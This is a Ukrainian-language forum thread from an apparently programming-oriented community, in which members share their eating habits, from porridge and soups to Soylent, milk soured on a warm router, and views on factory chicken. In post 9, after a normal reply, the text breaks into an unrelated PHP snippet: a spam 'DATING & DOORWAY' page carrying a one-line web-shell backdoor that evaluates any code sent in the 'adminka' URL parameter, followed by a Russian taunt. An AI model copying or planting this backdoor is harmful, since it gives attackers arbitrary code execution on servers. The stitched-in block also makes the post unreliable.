1

Тема: Харчування

Що ви їсте?

От мене питання "Що б то з’їсти?" мучить щодня, і я подумав, що якщо зробити як Шелдон Купер і просто завжди в понеділок їсти макарони а у вівторок - гречку, то життя стане простішим.

Але біда в тому що треба аби в меню вистачало всіляких білків, жирів, вуглеводів і інших вітамінів. А ще кажуть що якщо ти програміст то треба їсти рибу, бо фосфор для мозку потрібен. І я не знаю як правильно такий розклад харчування скласти...

Ви не пробували?  (P.S. Заодно запитав на http://productivity.stackexchange.com/q … n-schedule)

2

Re: Харчування

Про обід можу - більш-менш постійне явище.

Сьогодні на роботі загамав консерву - захотілося чомусь.:3
А так - у крамниці продають непогану сиркову масу у банках (грам по чотириста, ціна приблизно рівна базарному сиру, ще й із родзинками). :)

I belong to the Dead Generation.
Подякували: bunyk1

3

Re: Харчування

Треба женитись)

Подякували: Chemist-i, Djalin2

4

Re: Харчування

Vo_Vik написав:

Треба женитись)

А в темах про програмування ви відповідаєте "треба найняти фрілансера"? :)

5

Re: Харчування

bunyk написав:
Vo_Vik написав:

Треба женитись)

А в темах про програмування ви відповідаєте "треба найняти фрілансера"? :)

А чим поганий аутсорс?

x

6

Re: Харчування

Йоханий бабай. Зараз тема знову в срач перетвориться.))

Отже що я їм і як харчуюсь: бувають тижні коли зранку їм кашу, кожного дня хаваю перше і друге. (супи і всякі такі штуки)
вечеря нормальна без всяких заморочок.

Загалом важко сказати що конкретно так як їм все. Салати користна штука але багато їх не зїси)
Взагалі було б класно мати якийсь набір хавки який можна купити в магазинах і знати скільки білків жирів і тд там є і що краще хавати)

Подякували: bunyk, Bartash, /KIT\3

7

Re: Харчування

Таку штуку ще бачив: https://en.wikipedia.org/wiki/Soylent_% … stitute%29, але в нас поки що не поширена.

8

Re: Харчування

bunyk написав:

Таку штуку ще бачив: https://en.wikipedia.org/wiki/Soylent_% … stitute%29, але в нас поки що не поширена.

У цьому стилі можна до гербалайфів та біококтейлів всяких докотитися... :)
Але ж людина - на те й людина, що спокон віків харчується чимось "більш природнім". :)

I belong to the Dead Generation.
Подякували: A.N.Onim1

9 Востаннє редагувалося Invader (28.02.2014 18:52:51)

Re: Харчування

Мабуть тут ніхто вам не допоможе скласти дієту. Доведеться самостійно.
Для полегшення життя і більш точного контролю можна замінити певну к-ть традиційних страв і продуктів протеїновим порошком, енергетичними батончиками і т.і. Заменители пищи. Може це буде цікаво.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: bunyk1

10

Re: Харчування

Полюбляю молоко, скисле на роутері :) Не подумайте нічого такого, просто роутер завжди теплий, але при цьому не гарячий, і молоко на ньому дуже класно скисає у будь-яку пору року.
Іще каш багато різних їм, особливо полюбляю мюслі. Плюс картопля там усіляка, макарони у невеликій кількості. Ну й звісно мамині борщики та супчики :P
Треба б іще риби всякої морської побільше, а солодкого поменше.

Подякували: bunyk, Bartash2

11

Re: Харчування

Torbins написав:

молоко, скисле на роутері

А це цікава ідея... :)

I belong to the Dead Generation.
Подякували: /KIT\1

12

Re: Харчування

я навіть не знаю, як охарактеризувати свій раціон: стараюсь вживати менше фаст-фуду й побільше овочів, фруктів, кисломолочних продуктів (крім молока); по ситуації уникаю м'яса, хоча дуже полюбляю рибу й не маю нічого проти курятини (веганом мене не можна назвати)
основну частину важкоперетравлюваної їжі залишаю на сніданок... ну, максимум на обід. стараюсь вечеряти чимось легким, щоб не перевантажувати на ніч шлунок.
коли маю багато пар, то в універі доводиться брати хот-дог, бо бутербродів з дому так і не навчилась брати, а щоб піти в столовку перерви не вистачає. хоча останнім часом беру з дому бісквіти.
позитивні риси такого способу харчування показались минулого літа: відчувалась легкість та знизилась спрага - краще переносилась спека.
мінуси полягають в тому, що я вживаю різні супи рідше, ніж хотілося б. буває, роблю собі суп-пюре, якого вистачає надовго й який дуже класно живить організм, але не завжди в мене під рукою є достатньо продуктів для цього.
ну і ще в періоди, коли ресурсів на такі задумки не вистачає, обходжусь банальними макаронами, а щоб не набридали, інколи готую картоплю або омлет.
до солодкого в мене завжди була особлива любов, але зараз стараюсь цим не зловживати й замінювати шоколад фруктами

я таку схему склала не за один вечір, тому отак відразу важко перерахувати особливості свого харчування. тим паче, що я все ще над ним працюю

Психологічні бесіди з додатковою послугою промивання мізків. Недорого.
Не дизайню. Взагалі ні разу. У назві розділу "Дизайн та графіка" є слово "графіка" - ось тут трохи шарю. І не більше. Так, часто питають.
Продам гараж
Подякували: bunyk1

13

Re: Харчування

Bartash
Тільки молоко має бути домашнє, бо магазинне якщо й скисне, то буде не смачне.

Cyan
Овочі та фрукти - це дуже добре, а от до курятини особисто я ставлюся дуже упереджено. На фабриках їх годують якоюсь гидотою змішаною з антибіотиками та гормонами, щоб вони швидше набирали масу та не хворіли. Та й домашніх уже також починають цим підгодовувати.

14

Re: Харчування

@Torbins

Згодний щодо домашнього молока. Благбаз - для нас. :)

Щодо курятини - як такими, антибіотиками їх не годують. Уся гидота міститься у комбікормі, який дають куркам, а також речовинах, близьких до стероїдів, - бройлерам для набору ваги.  Однак тут є крихітна ложечка меду у діжці дьогтю: якщо курку тижні за два-три припинити годувати цим їдлом, - шкідливі речовини встигають вийти практично під нуль. :)

I belong to the Dead Generation.
Подякували: bvn1

15

Re: Харчування

Torbins
навіщо мені купувати курятину, якщо в мене вдома, в селі, по двору ходять свої курочки?)

Психологічні бесіди з додатковою послугою промивання мізків. Недорого.
Не дизайню. Взагалі ні разу. У назві розділу "Дизайн та графіка" є слово "графіка" - ось тут трохи шарю. І не більше. Так, часто питають.
Продам гараж
Подякували: bvn1

16

Re: Харчування

Cyan
Класно вам. Якщо воно нормальне домашнє, то чому б ні.

17

Re: Харчування

мені самому час від часу страшно як я харчуюся)

pew pew :D
Блоґ
Подякували: bvn1

18

Re: Харчування

А я ранком п'ю стакан коли і якись сандвіч ,в обід якись салат і на вечерю їм трохи печень та чай.Сам вмію дуже добре робити їсти але не люблю цим займатись ,зазвичай купую вже готове.

Слава Україні !

19

Re: Харчування

Cyan написала:

по ситуації уникаю м'яса

ем, чому так? негативно ставитесь до вбивства і пожирання трупів братів наших менших)

Don’t do as I have done
Win where I have lost
Have where I have none

20

Re: Харчування

Regen написав:
Cyan написала:

по ситуації уникаю м'яса

ем, чому так? негативно ставитесь до вбивства і пожирання трупів братів наших менших)

по цій причині я не вживаю кролячого та козячого м'яса
а взагалі воно важче перетравлюється і через це створює відчуття важкості, що особисто мені не айс, тому для мене буде краще закупитись овочами: дешевше, вистачає надовше, та й організмом легше засвоюється
якщо ж буде відчутною нестача білків, то проти курятини та риби я не маю нічого проти
взагалі дівчатам легше перейти до веганства, тому тут немає нічого дивного

Психологічні бесіди з додатковою послугою промивання мізків. Недорого.
Не дизайню. Взагалі ні разу. У назві розділу "Дизайн та графіка" є слово "графіка" - ось тут трохи шарю. І не більше. Так, часто питають.
Продам гараж